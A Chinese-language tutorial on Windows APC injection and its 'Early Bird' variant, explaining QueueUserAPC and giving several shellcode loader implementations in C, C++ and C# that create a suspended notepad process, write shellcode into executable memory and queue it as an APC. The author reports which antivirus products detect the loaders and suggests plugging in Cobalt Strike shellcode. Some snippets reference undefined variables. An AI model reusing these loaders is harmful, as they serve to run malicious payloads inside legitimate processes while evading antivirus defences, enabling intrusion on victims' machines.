APC注入以及幾種實現方式
APC介紹
APC中文名稱為異步過程調用, APC是一個鏈狀的數據結構,可以讓一個線程在其本應該的執行步驟前執行其他代碼,每個線程都維護這一個APC鏈。當線程從等待狀態蘇醒后,會自動檢測自己得APC隊列中是否存在APC過程。所以只需要將目標進程的線程的APC隊列里面添加APC過程,當然為了提高命中率可以向進程的所有線程中添加APC過程。然后促使線程從休眠中恢復就可以實現APC注入。
APC注入的一些前置如下:
- 線程在進程內執行
- 線程會調用在APC隊列中的函數
- 應用可以給特定線程的APC隊列壓入函數(有權限控制)
- 壓入隊列后,線程將按照順序優先級執行(FIFO)
- 這種注入技術的缺點是只有當線程處在alertable狀態時才去執行這些APC函數
MSDN上對此解釋如下

QueueUserApc: 函數作用,添加制定的異步函數調用(回調函數)到執行的線程的APC隊列中
APCproc: 函數作用: 回調函數的寫法.
首先異步函數調用的原理:
異步過程調用是一種能在特定線程環境中異步執行的系統機制。
往線程APC隊列添加APC,系統會產生一個軟中斷。在線程下一次被調度的時候,就會執行APC函數,APC有兩種形式,由系統產生的APC稱為內核模式APC,由應用程序產生的APC被稱為用戶模式APC
APC 注入
簡單原理
1.當對面程序執行到某一個上面的等待函數的時候,系統會產生一個中斷
2.當線程喚醒的時候,這個線程會優先去Apc隊列中調用回調函數
3.我們利用QueueUserApc,往這個隊列中插入一個回調
4.插入回調的時候,把插入的回調地址改為LoadLibrary,插入的參數我們使用VirtualAllocEx申請內存,并且寫入進去
注入流程

QueueUserAPC函數的第一個參數表示執行的函數地址,當開始執行該APC的時候,程序就會跳轉到該函數地址執行。第二個參數表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT訪問權限。第三個參數表示傳遞給執行函數的參數。與遠線程注入類似,如果QueueUserAPC函數的第一個參數,即函數地址設置的是LoadLibraryA函數地址,第三個參數,即傳遞參數設置的是DLL的路徑。那么,當執行APC的時候,便會調用LoadLibraryA函數加載指定路徑的DLL,完成DLL注入操作。如果直接傳入shellcode不設置第三個函數,可以直接執行shellcode。
APC注入實現
函數原型
DWORD QueueUserAPC( [in] PAPCFUNC pfnAPC, //APC 注入方式 [in] HANDLE hThread, [in] ULONG_PTR dwData);
C++ 實現
代碼如下
#include #include unsigned char shellcode[] = ""; //shellcode "\xfc\x48\x83\xe4"int main(){
LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe"; //path
SIZE_T buff = sizeof(shellcode); //size of shellcode
STARTUPINFOA sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 }; //return a new process info
CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); //create a new thread for process
HANDLE hProc = pInfo.hProcess;
HANDLE hThread = pInfo.hThread;
// write shellcode to the process memory
LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);
// use QueueUserAPC load shellcode
QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
ResumeThread(hThread);
return 0;}

C#實現
代碼如下
using System;using System.Runtime.InteropServices;
public class shellcode
{ [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint ResumeThread(IntPtr hThread); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CloseHandle(IntPtr hObject); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
public enum ProcessAccessRights
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
public enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200),
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
}
public enum MemAllocation
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
MEM_RESET = 0x00080000,
MEM_RESET_UNDO = 0x1000000,
SecCommit = 0x08000000
}
public enum MemProtect
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_TARGETS_INVALID = 0x40000000,
PAGE_TARGETS_NO_UPDATE = 0x40000000,
} [StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
} [StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
} [StructLayout(LayoutKind.Sequential)]
//internal struct STARTUPINFO
public struct STARTUPINFO
{
uint cb;
IntPtr lpReserved;
IntPtr lpDesktop;
IntPtr lpTitle;
uint dwX;
uint dwY;
uint dwXSize;
uint dwYSize;
uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;
}
public static PROCESS_INFORMATION StartProcess(string binaryPath)
{
uint flags = 0x00000004;
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
return procInfo;
}
public TestClass()
{
string b64 = ""; //shellcode base64 encode
string targetprocess = "C:/Windows/System32/notepad.exe";
byte[] shellcode = new byte[] { };
shellcode = Convert.FromBase64String(b64);
uint lpNumberOfBytesWritten = 0;
PROCESS_INFORMATION processInfo = StartProcess(targetprocess);
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);
//write shellcode to the process memory
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
{
IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);
IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
ResumeThread(tHandle);
}
bool hOpenProcessClose = CloseHandle(pHandle);
}
}
這里測試過了火絨但是沒過360
C實現
代碼如下
#include #include unsigned char shellcode[] = <shellcode>; //shellcode {0xfc,0x48,0x83}unsigned int buff = sizeof(shellcode);int main(void) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
void * ptApcRoutine;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);
QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
ResumeThread(pi.hThread);
return 0;}
這里被360殺了,但是加載是能上線的。
APC 注入變種 Early bird
Early Bird是一種簡單而強大的技術,Early Bird本質上是一種APC注入與線程劫持的變體,由于線程初始化時會調用ntdll未導出函數NtTestAlert,NtTestAlert是一個檢查當前線程的 APC 隊列的函數,如果有任何排隊作業,它會清空隊列。當線程啟動時,NtTestAlert會在執行任何操作之前被調用。因此,如果在線程的開始狀態下對APC進行操作,就可以完美的執行shellcode。(如果要將shellcode注入本地進程,則可以APC到當前線程并調用NtTestAlert函數來執行)
通常使用的 Windows 函數包括:
- CreateProcessA :此函數用于創建新進程及其主線程。
- VirtualAllocEx :在指定進程的虛擬空間保留或提交內存區域
- WriteProcessMemory :將數據寫入指定進程的內存區域。
- QueueUserAPC :允許將 APC 對象添加到指定線程的 APC 隊列中。
Early bird注入流程
- 1.創建一個掛起的進程(通常是windows的合法進程)
- 2.在掛起的進程內申請一塊可讀可寫可執行的內存空間
- 3.往申請的空間內寫入shellcode
- 4.將APC插入到該進程的主線程
- 5.恢復掛起進程的線程

Early bird注入實現
C實現
代碼如下
#include int main() {
unsigned char shellcode[] = ""; //shellcode "\xfc\x48\x83\xe4"
SIZE_T shellSz = sizeof(buff);
STARTUPINFOA st = { 0 };
PROCESS_INFORMATION prt = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;
LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;
WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
return 0;}

C++實現
代碼如下
#include int main(){
unsigned char shellcode[] = ""; //"\xfc\x48\x83\xe4"
SIZE_T shellSize = sizeof(buf);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
return 0;}

Go實現
參考項目:https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird
將其中的shellcode替換成CS的shellcode即可

編譯之后運行上線

參考
https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSDN
http://subt0x10.blogspot.com/2017/01/shellcode-injection-via-queueuserapc.html
https://www.cnblogs.com/iBinary/p/7574055.html
https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
https://idiotc4t.com/code-and-dll-process-injection/early-bird